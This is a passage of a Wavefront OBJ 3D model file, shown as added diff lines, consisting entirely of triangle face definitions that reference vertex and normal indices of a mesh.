+f 467//467 491//467 468//467
+f 469//468 468//468 493//468
+f 469//469 493//469 470//469
+f 470//470 494//470 471//470
+f 472//471 471//471 496//471
+f 473//472 472//472 497//472
+f 473//473 497//473 474//473
+f 474//474 498//474 475//474
+f 476//475 475//475 500//475
+f 476//476 500//476 477//476
+f 478//477 477//477 502//477
+f 478//478 502//478 479//478
+f 480//479 479//479 504//479
+f 480//480 504//480 457//480
+f 482//481 481//481 506//481
+f 483//482 482//482 507//482
+f 483//483 507//483 484//483
+f 484//484 508//484 485//484
+f 485//485 509//485 486//485
+f 486//486 510//486 487//486
+f 488//487 487//487 512//487
+f 488//488 512//488 489//488
+f 489//489 513//489 490//489
+f 490//1205 514//1205 491//1205
+f 491//491 515//491 492//491
+f 493//492 492//492 517//492
+f 493//493 517//493 494//493
+f 495//494 494//494 519//494
+f 495//495 519//495 496//495
+f 497//496 496//496 521//496
+f 497//497 521//497 498//497
+f 498//498 522//498 499//498
+f 500//499 499//499 524//499
+f 501//500 500//500 525//500
+f 502//501 501//501 526//501
+f 503//502 502//502 527//502
+f 504//503 503//503 528//503
+f 504//504 528//504 481//504
+f 506//505 505//505 530//505
+f 506//506 530//506 507//506
+f 507//507 531//507 508//507
+f 509//508 508//508 533//508
+f 509//509 533//509 510//509
+f 510//510 534//510 511//510
+f 512//511 511//511 536//511
+f 512//512 536//512 513//512
+f 513//513 537//513 514//513
+f 515//514 514//514 539//514
+f 515//515 539//515 516//515
+f 517//516 516//516 541//516
+f 517//517 541//517 518//517
+f 518//518 542//518 519//518
+f 519//519 543//519 520//519
+f 521//520 520//520 545//520
+f 522//521 521//521 546//521
+f 522//522 546//522 523//522
+f 523//523 547//523 524//523
+f 524//524 548//524 525//524
+f 525//525 549//525 526//525
+f 526//526 550//526 527//526
+f 528//527 527//527 552//527
+f 528//528 552//528 505//528
+f 530//529 529//529 554//529
+f 531//530 530//530 555//530
+f 532//531 531//531 556//531
+f 532//532 556//532 533//532
+f 533//533 557//533 534//533
+f 535//534 534//534 559//534
+f 536//535 535//535 560//535
+f 536//536 560//536 537//536
+f 537//537 561//537 538//537
+f 539//538 538//538 563//538
+f 540//539 539//539 564//539
+f 540//540 564//540 541//540
+f 541//541 565//541 542//541
+f 542//542 566//542 543//542
+f 543//543 567//543 544//543
+f 545//544 544//544 569//544
+f 545//545 569//545 546//545
+f 546//546 570//546 547//546
+f 548//547 547//547 572//547
+f 548//548 572//548 549//548
+f 550//549 549//549 574//549
+f 550//550 574//550 551//550
+f 551//551 575//551 552//551
+f 552//552 576//552 529//552
+f 553//553 577//553 554//553
+f 555//554 554//554 579//554
+f 555//555 579//555 556//555
+f 557//556 556//556 581//556
+f 557//557 581//557 558//557
+f 559//558 558//558 583//558
+f 560//559 559//559 584//559
+f 561//560 560//560 585//560
+f 562//561 561//561 586//561
+f 562//562 586//562 563//562
+f 564//563 563//563 588//563
+f 564//564 588//564 565//564
+f 566//565 565//565 590//565
+f 566//566 590//566 567//566
+f 568//567 567//567 592//567
+f 568//568 592//568 569//568
+f 569//569 593//569 570//569
+f 570//570 594//570 571//570
+f 571//571 595//571 572//571
+f 572//572 596//572 573//572
+f 573//573 597//573 574//573
+f 575//574 574//574 599//574
+f 575//575 599//575 576//575
+f 576//576 600//576 553//576
+f 578//1206 577//1206 602//1206
+f 579//578 578//578 603//578
+f 579//579 603//579 580//579
+f 580//580 604//580 581//580
+f 581//581 605//581 582//581
+f 583//582 582//582 607//582
+f 583//583 607//583 584//583
+f 584//584 608//584 585//584
+f 586//585 585//585 610//585
+f 586//586 610//586 587//586
+f 588//587 587//587 612//587
+f 588//588 612//588 589//588
+f 590//589 589//589 614//589
+f 590//590 614//590 591//590
+f 591//591 615//591 592//591
+f 592//592 616//592 593//592
+f 594//593 593//593 618//593
+f 595//594 594//594 619//594
+f 595//595 619//595 596//595
+f 597//596 596//596 621//596
+f 598//597 597//597 622//597
+f 599//598 598//598 623//598
+f 599//599 623//599 600//599
+f 600//1207 624//1207 577//1207
+f 602//601 601//601 626//601
+f 602//602 626//602 603//602
+f 604//603 603//603 628//603
+f 605//604 604//604 629//604
+f 605//605 629//605 606//605
+f 607//606 606//606 631//606
+f 608//607 607//607 632//607
+f 608//608 632//608 609//608
+f 609//609 633//609 610//609
+f 610//610 634//610 611//610
+f 611//611 635//611 612//611
+f 612//612 636//612 613//612
+f 613//613 637//613 614//613
+f 615//614 614//614 639//614
+f 616//615 615//615 640//615
+f 616//616 640//616 617//616
+f 617//617 641//617 618//617
+f 618//618 642//618 619//618
+f 619//619 643//619 620//619
+f 621//620 620//620 645//620
+f 621//621 645//621 622//621
+f 622//622 646//622 623//622
+f 624//623 623//623 648//623
+f 624//624 648//624 601//624
+f 625//625 649//625 626//625
+f 626//626 650//626 627//626
+f 627//627 651//627 628//627
+f 629//628 628//628 653//628
+f 629//629 653//629 630//629
+f 630//1208 654//1208 631//1208
+f 631//1172 655//1172 632//1172
+f 632//632 656//632 633//632
+f 634//633 633//633 658//633
+f 634//634 658//634 635//634
+f 636//635 635//635 660//635
+f 637//636 636//636 661//636
+f 637//637 661//637 638//637
+f 638//638 662//638 639//638
+f 639//639 663//639 640//639
+f 640//640 664//640 641//640
+f 641//641 665//641 642//641
+f 642//642 666//642 643//642
+f 644//643 643//643 668//643
+f 645//644 644//644 669//644
+f 645//645 669//645 646//645
+f 647//646 646//646 671//646
+f 648//647 647//647 672//647
+f 625//648 648//648 649//648
+f 650//649 649//649 674//649
+f 651//650 650//650 675//650
+f 651//651 675//651 652//651
+f 653//652 652//652 677//652
+f 654//653 653//653 678//653
+f 655//654 654//654 679//654
+f 656//655 655//655 680//655
+f 656//656 680//656 657//656
+f 658//657 657//657 682//657
+f 658//658 682//658 659//658
+f 660//659 659//659 684//659
+f 660//660 684//660 661//660
+f 661//661 685//661 662//661
+f 662//662 686//662 663//662
+f 664//663 663//663 688//663
+f 664//664 688//664 665//664
+f 665//665 689//665 666//665
+f 666//666 690//666 667//666
+f 667//667 691//667 668//667
+f 668//668 692//668 669//668
+f 670//669 669//669 694//669
+f 670//670 694//670 671//670
+f 671//671 695//671 672//671
+f 672//672 696//672 649//672
+f 673//673 697//673 674//673
+f 675//674 674//674 699//674
+f 675//675 699//675 676//675
+f 676//676 700//676 677//676
+f 677//677 701//677 678//677
+f 678//678 702//678 679//678
+f 680//679 679//679 704//679
+f 680//680 704//680 681//680
+f 681//681 705//681 682//681
+f 682//682 706//682 683//682
+f 683//683 707//683 684//683
+f 685//684 684//684 709//684
+f 685//685 709//685 686//685
+f 687//686 686//686 711//686
+f 688//687 687//687 712//687
+f 689//688 688//688 713//688
+f 690//689 689//689 714//689
+f 690//690 714//690 691//690
+f 692//691 691//691 716//691
+f 693//692 692//692 717//692
+f 694//693 693//693 718//693
+f 695//694 694//694 719//694
+f 695//695 719//695 696//695
+f 673//696 696//696 697//696
+f 698//697 697//697 722//697
+f 699//698 698//698 723//698
+f 699//1174 723//1174 700//1174
+f 701//700 700//700 725//700
+f 702//701 701//701 726//701
+f 702//702 726//702 703//702
+f 703//703 727//703 704//703
+f 704//704 728//704 705//704
+f 705//705 729//705 706//705
+f 707//706 706//706 731//706
+f 707//707 731//707 708//707
+f 709//708 708//708 733//708
+f 709//709 733//709 710//709
+f 710//710 734//710 711//710
+f 711//711 735//711 712//711
+f 713//712 712//712 737//712
+f 713//713 737//713 714//713
+f 715//714 714//714 739//714
+f 715//715 739//715 716//715
+f 717//716 716//716 741//716
+f 717//717 741//717 718//717
+f 719//1175 718//1175 743//1175
+f 719//719 743//719 720//719
+f 720//720 744//720 697//720
+f 722//721 721//721 746//721
+f 723//722 722//722 747//722
+f 723//723 747//723 724//723
+f 724//724 748//724 725//724
+f 725//725 749//725 726//725
+f 727//726 726//726 751//726
+f 727//727 751//727 728//727
+f 729//728 728//728 753//728
+f 729//729 753//729 730//729
+f 731//730 730//730 755//730
+f 731//731 755//731 732//731
+f 732//732 756//732 733//732
+f 734//733 733//733 758//733
+f 735//734 734//734 759//734
+f 735//735 759//735 736//735
+f 736//736 760//736 737//736
+f 737//737 761//737 738//737
+f 739//738 738//738 763//738
+f 739//739 763//739 740//739
+f 741//740 740//740 765//740
+f 742//741 741//741 766//741
+f 743//742 742//742 767//742
+f 743//743 767//743 744//743
+f 744//744 768//744 721//744
+f 746//745 745//745 770//745
+f 747//746 746//746 771//746
+f 748//747 747//747 772//747
+f 748//748 772//748 749//748
+f 750//749 749//749 774//749
+f 750//750 774//750 751//750
+f 752//751 751//751 776//751
+f 753//752 752//752 777//752
+f 754//753 753//753 778//753
+f 755//754 754//754 779//754
+f 755//755 779//755 756//755
+f 756//756 780//756 757//756
+f 758//757 757//757 782//757
+f 759//758 758//758 783//758
+f 759//759 783//759 760//759
+f 760//760 784//760 761//760
+f 761//761 785//761 762//761
+f 762//762 786//762 763//762
+f 763//763 787//763 764//763
+f 764//764 788//764 765//764
+f 766//765 765//765 790//765
+f 766//766 790//766 767//766
+f 767//767 791//767 768//767
+f 768//768 792//768 745//768
+f 770//769 769//769 794//769
+f 770//770 794//770 771//770
+f 771//771 795//771 772//771
+f 772//772 796//772 773//772
+f 773//773 797//773 774//773
+f 774//774 798//774 775//774
+f 775//775 799//775 776//775
+f 776//776 800//776 777//776
+f 777//777 801//777 778//777
+f 778//1179 802//1179 779//1179
+f 779//779 803//779 780//779
+f 780//780 804//780 781//780
+f 781//781 805//781 782//781
+f 783//782 782//782 807//782
+f 784//1180 783//1180 808//1180
+f 784//784 808//784 785//784
+f 786//785 785//785 810//785
+f 787//786 786//786 811//786
+f 788//787 787//787 812//787
+f 788//788 812//788 789//788
+f 790//789 789//789 814//789
+f 790//1209 814//1209 791//1209
+f 792//791 791//791 816//791
+f 792//792 816//792 769//792
+f 794//793 793//793 818//793
+f 794//794 818//794 795//794
+f 796//795 795//795 820//795
+f 797//796 796//796 821//796
+f 798//797 797//797 822//797
+f 799//798 798//798 823//798
+f 800//799 799//799 824//799
+f 801//800 800//800 825//800
+f 801//801 825//801 802//801
+f 803//802 802//802 827//802
+f 803//803 827//803 804//803
+f 805//804 804//804 829//804
+f 805//805 829//805 806//805
+f 806//806 830//806 807//806
+f 807//807 831//807 808//807
+f 808//808 832//808 809//808
+f 809//809 833//809 810//809
+f 810//810 834//810 811//810
+f 811//811 835//811 812//811
+f 812//812 836//812 813//812
+f 813//813 837//813 814//813
+f 814//814 838//814 815//814
+f 816//815 815//815 840//815
+f 816//816 840//816 793//816
+f 817//817 841//817 818//817
+f 818//818 842//818 819//818
+f 820//819 819//819 844//819
+f 820//820 844//820 821//820
+f 822//821 821//821 846//821
+f 822//822 846//822 823//822
+f 823//823 847//823 824//823
+f 825//824 824//824 849//824
+f 825//825 849//825 826//825
+f 826//826 850//826 827//826
+f 827//827 851//827 828//827
+f 829//828 828//828 853//828
+f 829//829 853//829 830//829
+f 831//830 830//830 855//830
+f 832//831 831//831 856//831
+f 833//832 832//832 857//832
+f 833//833 857//833 834//833
+f 835//834 834//834 859//834
+f 835//835 859//835 836//835
+f 836//836 860//836 837//836
+f 837//837 861//837 838//837
+f 838//838 862//838 839//838
+f 839//839 863//839 840//839
+f 817//840 840//840 841//840
+f 841//841 865//841 842//841
+f 843//842 842//842 867//842
+f 843//843 867//843 844//843
+f 844//844 868//844 845//844
+f 846//845 845//845 870//845
+f 847//846 846//846 871//846
+f 847//847 871//847 848//847
+f 849//848 848//848 873//848
+f 850//849 849//849 874//849
+f 850//850 874//850 851//850
+f 851//851 875//851 852//851
+f 853//852 852//852 877//852
+f 853//853 877//853 854//853
+f 855//854 854//854 879//854
+f 856//855 855//855 880//855
+f 857//856 856//856 881//856
+f 857//857 881//857 858//857
+f 859//858 858//858 883//858
+f 860//859 859//859 884//859
+f 860//860 884//860 861//860
+f 861//861 885//861 862//861
+f 863//862 862//862 887//862
+f 863//863 887//863 864//863
+f 841//864 864//864 865//864
+f 865//865 889//865 866//865
+f 867//866 866//866 891//866
+f 867//867 891//867 868//867
+f 869//868 868//868 893//868
+f 869//869 893//869 870//869
+f 870//870 894//870 871//870
+f 871//871 895//871 872//871
+f 872//872 896//872 873//872
+f 874//873 873//873 898//873
+f 875//874 874//874 899//874
+f 876//875 875//875 900//875
+f 877//1210 876//1210 901//1210
+f 877//1211 901//1211 878//1211
+f 879//878 878//878 903//878
+f 879//879 903//879 880//879
+f 881//880 880//880 905//880
+f 881//881 905//881 882//881
+f 883//882 882//882 907//882
+f 884//883 883//883 908//883
+f 884//884 908//884 885//884
+f 885//885 909//885 886//885
+f 887//886 886//886 911//886
+f 887//887 911//887 888//887
+f 865//1212 888//1212 889//1212
+f 889//889 913//889 890//889
+f 890//890 914//890 891//890
+f 891//891 915//891 892//891
+f 893//892 892//892 917//892
+f 893//893 917//893 894//893
+f 894//894 918//894 895//894
+f 895//895 919//895 896//895
+f 897//896 896//896 921//896
+f 897//897 921//897 898//897
+f 899//898 898//898 923//898
+f 899//1185 923//1185 900//1185
+f 900//900 924//900 901//900
+f 901//901 925//901 902//901
+f 903//902 902//902 927//902
+f 903//903 927//903 904//903
+f 905//904 904//904 929//904
+f 905//905 929//905 906//905
+f 906//906 930//906 907//906
+f 908//907 907//907 932//907
+f 909//908 908//908 933//908
+f 909//909 933//909 910//909
+f 911//910 910//910 935//910
+f 911//911 935//911 912//911
+f 889//912 912//912 913//912
+f 914//913 913//913 938//913
+f 915//914 914//914 939//914
+f 915//915 939//915 916//915
+f 916//916 940//916 917//916
+f 918//917 917//917 942//917
+f 918//918 942//918 919//918
+f 919//919 943//919 920//919
+f 920//920 944//920 921//920
+f 921//921 945//921 922//921
+f 922//922 946//922 923//922
+f 923//923 947//923 924//923
+f 925//924 924//924 949//924
+f 926//925 925//925 950//925
+f 926//926 950//926 927//926
+f 928//927 927//927 952//927
+f 928//928 952//928 929//928
+f 930//929 929//929 954//929
+f 930//930 954//930 931//930
+f 932//931 931//931 956//931
+f 932//932 956//932 933//932
+f 933//933 957//933 934//933
+f 935//934 934//934 959//934
+f 935//935 959//935 936//935
+f 936//936 960//936 913//936
+f 938//937 937//937 962//937
+f 939//938 938//938 963//938
+f 940//1187 939//1187 964//1187
+f 941//940 940//940 965//940
+f 942//941 941//941 966//941
+f 943//942 942//942 967//942
+f 944//943 943//943 968//943
+f 945//944 944//944 969//944
+f 946//945 945//945 970//945
+f 947//1186 946//1186 971//1186
+f 948//947 947//947 972//947
+f 948//948 972//948 949//948
+f 950//949 949//949 974//949
+f 950//950 974//950 951//950
+f 951//1188 975//1188 952//1188
+f 952//952 976//952 953//952
+f 953//953 977//953 954//953
+f 954//954 978//954 955//954
+f 955//955 979//955 956//955
+f 956//956 980//956 957//956
+f 957//957 981//957 958//957
+f 959//958 958//958 983//958
+f 959//959 983//959 960//959
+f 960//960 984//960 937//960
+f 962//961 961//961 986//961
+f 963//962 962//962 987//962
+f 964//963 963//963 988//963
+f 964//964 988//964 965//964
+f 965//965 989//965 966//965
+f 967//966 966//966 991//966
+f 967//967 991//967 968//967
+f 968//968 992//968 969//968
+f 969//969 993//969 970//969
+f 970//970 994//970 971//970
+f 972//971 971//971 996//971
+f 972//972 996//972 973//972
+f 974//973 973//973 998//973
+f 974//974 998//974 975//974
+f 975//975 999//975 976//975
+f 976//976 1000//976 977//976
+f 978//977 977//977 1002//977
+f 978//978 1002//978 979//978
+f 979//979 1003//979 980//979
+f 981//980 980//980 1005//980
+f 981//981 1005//981 982//981
+f 982//982 1006//982 983//982
+f 983//983 1007//983 984//983
+f 984//984 1008//984 961//984
+f 985//985 1009//985 986//985
+f 986//986 1010//986 987//986
+f 987//987 1011//987 988//987
+f 988//988 1012//988 989//988
+f 989//989 1013//989 990//989
+f 990//990 1014//990 991//990
+f 991//991 1015//991 992//991
+f 992//992 1016//992 993//992
+f 993//993 1017//993 994//993
+f 994//994 1018//994 995//994
+f 995//995 1019//995 996//995
+f 996//996 1020//996 997//996
+f 997//997 1021//997 998//997
+f 999//998 998//998 1023//998
+f 999//999 1023//999 1000//999
+f 1000//1000 1024//1000 1001//1000
+f 1002//1001 1001//1001 1026//1001
+f 1003//1002 1002//1002 1027//1002
+f 1004//1003 1003//1003 1028//1003
+f 1005//1004 1004//1004 1029//1004
+f 1005//1005 1029//1005 1006//1005
+f 1007//1006 1006//1006 1031//1006
+f 1008//1007 1007//1007 1032//1007
+f 1008//1008 1032//1008 985//1008
+f 1010//1009 1009//1009 1034//1009
+f 1011//1010 1010//1010 1035//1010
+f 1012//1191 1011//1191 1036//1191
+f 1012//1012 1036//1012 1013//1012
+f 1014//1013 1013//1013 1038//1013
+f 1015//1014 1014//1014 1039//1014
+f 1016//1015 1015//1015 1040//1015
+f 1017//1016 1016//1016 1041//1016
+f 1018//1017 1017//1017 1042//1017
+f 1019//1018 1018//1018 1043//1018
+f 1019//1019 1043//1019 1020//1019
+f 1021//1020 1020//1020 1045//1020
+f 1021//1021 1045//1021 1022//1021
+f 1022//1022 1046//1022 1023//1022
+f 1023//1023 1047//1023 1024//1023
+f 1024//1024 1048//1024 1025//1024
+f 1025//1025 1049//1025 1026//1025
+f 1026//1026 1050//1026 1027//1026
+f 1027//1027 1051//1027 1028//1027
+f 1028//1028 1052//1028 1029//1028
+f 1030//1029 1029//1029 1054//1029
+f 1030//1192 1054//1192 1031//1192
+f 1031//1031 1055//1031 1032//1031
+f 1032//1032 1056//1032 1009//1032
+f 1034//1033 1033//1033 1058//1033
+f 1034//1034 1058//1034 1035//1034
+f 1035//1035 1059//1035 1036//1035
+f 1037//1036 1036//1036 1061//1036
+f 1038//1037 1037//1037 1062//1037
+f 1038//1038 1062//1038 1039//1038
+f 1039//1039 1063//1039 1040//1039
+f 1041//1040 1040//1040 1065//1040
+f 1042//1041 1041//1041 1066//1041
+f 1043//1042 1042//1042 1067//1042
+f 1043//1043 1067//1043 1044//1043
+f 1044//1044 1068//1044 1045//1044
+f 1045//1045 1069//1045 1046//1045
+f 1047//1046 1046//1046 1071//1046
+f 1047//1047 1071//1047 1048//1047
+f 1048//1048 1072//1048 1049//1048
+f 1049//1049 1073//1049 1050//1049
+f 1051//1050 1050//1050 1075//1050
+f 1052//1051 1051//1051 1076//1051
+f 1052//1052 1076//1052 1053//1052
+f 1053//1053 1077//1053 1054//1053
+f 1054//1054 1078//1054 1055//1054
+f 1056//1055 1055//1055 1080//1055
+f 1056//1056 1080//1056 1033//1056
+f 1057//1057 1081//1057 1058//1057
+f 1059//1058 1058//1058 1083//1058
+f 1059//1059 1083//1059 1060//1059
+f 1060//1060 1084//1060 1061//1060
+f 1061//1061 1085//1061 1062//1061
+f 1062//1062 1086//1062 1063//1062
+f 1063//1063 1087//1063 1064//1063
+f 1064//1064 1088//1064 1065//1064
+f 1065//1065 1089//1065 1066//1065
+f 1067//1066 1066//1066 1091//1066
+f 1067//1067 1091//1067 1068//1067
+f 1068//1068 1092//1068 1069//1068
+f 1069//1069 1093//1069 1070//1069
+f 1071//1070 1070//1070 1095//1070
+f 1071//1071 1095//1071 1072//1071
+f 1073//1072 1072//1072 1097//1072
+f 1074//1073 1073//1073 1098//1073
+f 1075//1074 1074//1074 1099//1074
+f 1076//1075 1075//1075 1100//1075
+f 1077//1076 1076//1076 1101//1076
+f 1078//1077 1077//1077 1102//1077
+f 1079//1078 1078//1078 1103//1078
+f 1079//1079 1103//1079 1080//1079
+f 1057//1080 1080//1080 1081//1080
+f 1081//1081 1105//1081 1082//1081
+f 1082//1082 1106//1082 1083//1082
+f 1084//1083 1083//1083 1108//1083
+f 1085//1084 1084//1084 1109//1084
+f 1086//1085 1085//1085 1110//1085
+f 1087//1086 1086//1086 1111//1086
+f 1087//1087 1111//1087 1088//1087
+f 1089//1088 1088//1088 1113//1088
+f 1090//1089 1089//1089 1114//1089
+f 1091//1090 1090//1090 1115//1090
+f 1091//1091 1115//1091 1092//1091
+f 1092//1092 1116//1092 1093//1092
+f 1093//1093 1117//1093 1094//1093
+f 1094//1094 1118//1094 1095//1094
+f 1095//1095 1119//1095 1096//1095
+f 1096//1096 1120//1096 1097//1096
+f 1097//1097 1121//1097 1098//1097
+f 1098//1213 1122//1213 1099//1213
+f 1099//1214 1123//1214 1100//1214
+f 1100//1100 1124//1100 1101//1100
+f 1101//1101 1125//1101 1102//1101
+f 1102//1102 1126//1102 1103//1102
+f 1103//1103 1127//1103 1104//1103
+f 1081//1104 1104//1104 1105//1104
+f 1106//1105 1105//1105 1130//1105
+f 1106//1106 1130//1106 1107//1106
+f 1107//1107 1131//1107 1108//1107
+f 1108//1108 1132//1108 1109//1108
+f 1109//1109 1133//1109 1110//1109
+f 1110//1110 1134//1110 1111//1110
+f 1111//1111 1135//1111 1112//1111
+f 1112//1112 1136//1112 1113//1112
+f 1113//1113 1137//1113 1114//1113
+f 1114//1114 1138//1114 1115//1114
+f 1115//1115 1139//1115 1116//1115
+f 1116//1116 1140//1116 1117//1116
+f 1117//1117 1141//1117 1118//1117
+f 1119//1118 1118//1118 1143//1118
+f 1120//1119 1119//1119 1144//1119
+f 1121//1120 1120//1120 1145//1120
+f 1122//1121 1121//1121 1146//1121
+f 1123//1122 1122//1122 1147//1122
+f 1124//1123 1123//1123 1148//1123
+f 1124//1124 1148//1124 1125//1124
+f 1126//1125 1125//1125 1150//1125
+f 1127//1126 1126//1126 1151//1126
+f 1127//1127 1151//1127 1128//1127
+f 1128//1128 1152//1128 1105//1128
+f 1129//1129 1153//1129 1130//1129
+f 1131//1130 1130//1130 1155//1130
+f 1131//1131 1155//1131 1132//1131
+f 1132//1132 1156//1132 1133//1132
+f 1133//1133 1157//1133 1134//1133
+f 1134//1134 1158//1134 1135//1134
+f 1136//1135 1135//1135 1160//1135
+f 1136//1136 1160//1136 1137//1136
+f 1137//1137 1161//1137 1138//1137
+f 1138//1138 1162//1138 1139//1138
+f 1140//1139 1139//1139 1164//1139
+f 1140//1140 1164//1140 1141//1140
+f 1141//1141 1165//1141 1142//1141
+f 1142//1142 1166//1142 1143//1142
+f 1144//1143 1143//1143 1168//1143
+f 1144//1144 1168//1144 1145//1144
+f 1146//1145 1145//1145 1170//1145
+f 1146//1146 1170//1146 1147//1146
+f 1148//1147 1147//1147 1172//1147
+f 1149//1148 1148//1148 1173//1148
+f 1150//1149 1149//1149 1174//1149
+f 1151//1150 1150//1150 1175//1150
+f 1151//1151 1175//1151 1152//1151
+f 1152//1152 1176//1152 1129//1152
+f 1154//12 1153//12 1178//12
+f 1155//11 1154//11 1179//11
+f 1156//10 1155//10 1180//10
+f 1156//9 1180//9 1157//9
+f 1157//8 1181//8 1158//8
+f 1158//7 1182//7 1159//7
+f 1159//6 1183//6 1160//6
+f 1161//5 1160//5 1185//5
+f 1162//4 1161//4 1186//4
+f 1162//3 1186//3 1163//3
+f 1163//2 1187//2 1164//2
+f 1164//1 1188//1 1165//1
+f 1166//24 1165//24 1190//24
+f 1167//23 1166//23 1191//23
+f 1167//22 1191//22 1168//22
+f 1168//21 1192//21 1169//21
+f 1169//20 1193//20 1170//20
+f 1171//19 1170//19 1195//19
+f 1172//18 1171//18 1196//18
+f 1173//17 1172//17 1197//17
+f 1173//16 1197//16 1174//16
+f 1174//15 1198//15 1175//15
+f 1175//14 1199//14 1176//14
+f 1176//13 1200//13 1153//13
+f 1177//36 1201//36 1178//36
+f 1178//35 1202//35 1179//35
+f 1180//34 1179//34 1204//34
+f 1181//33 1180//33 1205//33
+f 1182//32 1181//32 1206//32
+f 1183//31 1182//31 1207//31
+f 1183//30 1207//30 1184//30
+f 1185//29 1184//29 1209//29
+f 1186//28 1185//28 1210//28
+f 1187//27 1186//27 1211//27
+f 1188//26 1187//26 1212//26
+f 1189//25 1188//25 1213//25
+f 1189//48 1213//48 1190//48
+f 1190//47 1214//47 1191//47
+f 1191//46 1215//46 1192//46
+f 1192//45 1216//45 1193//45
+f 1193//44 1217//44 1194//44
+f 1194//43 1218//43 1195//43
+f 1195//42 1219//42 1196//42
+f 1196//41 1220//41 1197//41
+f 1197//40 1221//40 1198//40
+f 1198//39 1222//39 1199//39
+f 1199//38 1223//38 1200//38
+f 1200//37 1224//37 1177//37
+f 1201//60 1225//60 1202//60
+f 1202//59 1226//59 1203//59
+f 1203//58 1227//58 1204//58
+f 1204//57 1228//57 1205//57
+f 1205//56 1229//56 1206//56
+f 1206//55 1230//55 1207//55
+f 1207//54 1231//54 1208//54
+f 1208//53 1232//53 1209//53
+f 1209//52 1233//52 1210//52
+f 1210//51 1234//51 1211//51
+f 1211//50 1235//50 1212//50
+f 1212//49 1236//49 1213//49
+f 1213//72 1237//72 1214//72
+f 1214//71 1238//71 1215//71
+f 1215//70 1239//70 1216//70
+f 1217//69 1216//69 1241//69
+f 1218//68 1217//68 1242//68
+f 1218//67 1242//67 1219//67
+f 1220//66 1219//66 1244//66
+f 1221//65 1220//65 1245//65
+f 1222//64 1221//64 1246//64
+f 1223//63 1222//63 1247//63
+f 1223//62 1247//62 1224//62
+f 1224//61 1248//61 1201//61
+f 1226//84 1225//84 1250//84
+f 1226//83 1250//83 1227//83
+f 1228//82 1227//82 1252//82
+f 1229//81 1228//81 1253//81
+f 1230//80 1229//80 1254//80
+f 1231//79 1230//79 1255//79
+f 1232//78 1231//78 1256//78
+f 1233//77 1232//77 1257//77
+f 1234//76 1233//76 1258//76
+f 1234//75 1258//75 1235//75
+f 1236//74 1235//74 1260//74
+f 1236//73 1260//73 1237//73
+f 1237//96 1261//96 1238//96
+f 1238//95 1262//95 1239//95
+f 1240//94 1239//94 1264//94
+f 1240//93 1264//93 1241//93
+f 1241//92 1265//92 1242//92
+f 1242//91 1266//91 1243//91
+f 1243//90 1267//90 1244//90
+f 1244//89 1268//89 1245//89
+f 1245//88 1269//88 1246//88
+f 1246//87 1270//87 1247//87
+f 1248//86 1247//86 1272//86
+f 1248//85 1272//85 1225//85
+f 1249//108 1273//108 1250//108
+f 1251//107 1250//107 1275//107
+f 1252//106 1251//106 1276//106
+f 1252//105 1276//105 1253//105
+f 1254//104 1253//104 1278//104
+f 1255//103 1254//103 1279//103
+f 1256//102 1255//102 1280//102
+f 1256//101 1280//101 1257//101
+f 1257//100 1281//100 1258//100
+f 1258//99 1282//99 1259//99
+f 1260//98 1259//98 1284//98
+f 1260//97 1284//97 1261//97
+f 1261//120 1285//120 1262//120
+f 1262//119 1286//119 1263//119
+f 1264//118 1263//118 1288//118
+f 1265//117 1264//117 1289//117
+f 1266//116 1265//116 1290//116
+f 1266//115 1290//115 1267//115
+f 1267//114 1291//114 1268//114
+f 1268//113 1292//113 1269//113
+f 1270//112 1269//112 1294//112
+f 1270//111 1294//111 1271//111
+f 1271//110 1295//110 1272//110
+f 1249//109 1272//109 1273//109
+f 1273//132 1297//132 1274//132
+f 1275//131 1274//131 1299//131
+f 1275//1215 1299//1215 1276//1215
+f 1276//129 1300//129 1277//129
+f 1277//128 1301//128 1278//128
+f 1278//127 1302//127 1279//127
+f 1279//126 1303//126 1280//126
+f 1280//125 1304//125 1281//125
+f 1281//124 1305//124 1282//124
+f 1282//123 1306//123 1283//123
+f 1283//122 1307//122 1284//122
+f 1284//121 1308//121 1285//121
+f 1286//144 1285//144 1310//144
+f 1286//143 1310//143 1287//143
+f 1288//142 1287//142 1312//142
+f 1289//141 1288//141 1313//141
+f 1290//140 1289//140 1314//140
+f 1291//139 1290//139 1315//139
+f 1292//138 1291//138 1316//138
+f 1293//137 1292//137 1317//137
+f 1293//136 1317//136 1294//136
+f 1295//1216 1294//1216 1319//1216
+f 1295//134 1319//134 1296//134
+f 1273//133 1296//133 1297//133
+f 1298//156 1297//156 1322//156
+f 1299//155 1298//155 1323//155
+f 1299//154 1323//154 1300//154
+f 1301//153 1300//153 1325//153
+f 1301//152 1325//152 1302//152
+f 1303//151 1302//151 1327//151
+f 1304//150 1303//150 1328//150
+f 1305//149 1304//149 1329//149
+f 1306//148 1305//148 1330//148
+f 1307//147 1306//147 1331//147
+f 1308//146 1307//146 1332//146
+f 1309//145 1308//145 1333//145
+f 1309//168 1333//168 1310//168
+f 1310//167 1334//167 1311//167
+f 1311//166 1335//166 1312//166
+f 1312//165 1336//165 1313//165
+f 1313//164 1337//164 1314//164
+f 1315//163 1314//163 1339//163
+f 1315//162 1339//162 1316//162
+f 1317//161 1316//161 1341//161
+f 1317//160 1341//160 1318//160
+f 1318//159 1342//159 1319//159
+f 1319//158 1343//158 1320//158
+f 1320//157 1344//157 1297//157
+f 1321//180 1345//180 1322//180
+f 1322//179 1346//179 1323//179
+f 1323//178 1347//178 1324//178
+f 1324//177 1348//177 1325//177
+f 1326//176 1325//176 1350//176
+f 1327//175 1326//175 1351//175
+f 1328//174 1327//174 1352//174
+f 1329//173 1328//173 1353//173
+f 1329//172 1353//172 1330//172
+f 1331//171 1330//171 1355//171
+f 1331//1155 1355//1155 1332//1155
+f 1332//169 1356//169 1333//169
+f 1333//192 1357//192 1334//192
+f 1334//191 1358//191 1335//191
+f 1335//190 1359//190 1336//190
+f 1336//189 1360//189 1337//189
+f 1337//188 1361//188 1338//188
+f 1338//187 1362//187 1339//187
+f 1339//186 1363//186 1340//186
+f 1340//185 1364//185 1341//185
+f 1341//184 1365//184 1342//184
+f 1343//183 1342//183 1367//183
+f 1344//182 1343//182 1368//182
+f 1344//181 1368//181 1321//181
+f 1345//204 1369//204 1346//204
+f 1346//203 1370//203 1347//203
+f 1347//1217 1371//1217 1348//1217
+f 1348//201 1372//201 1349//201
+f 1349//200 1373//200 1350//200
+f 1351//199 1350//199 1375//199
+f 1351//198 1375//198 1352//198
+f 1352//197 1376//197 1353//197
+f 1353//196 1377//196 1354//196
+f 1354//195 1378//195 1355//195
+f 1355//194 1379//194 1356//194
+f 1357//193 1356//193 1381//193
+f 1357//216 1381//216 1358//216
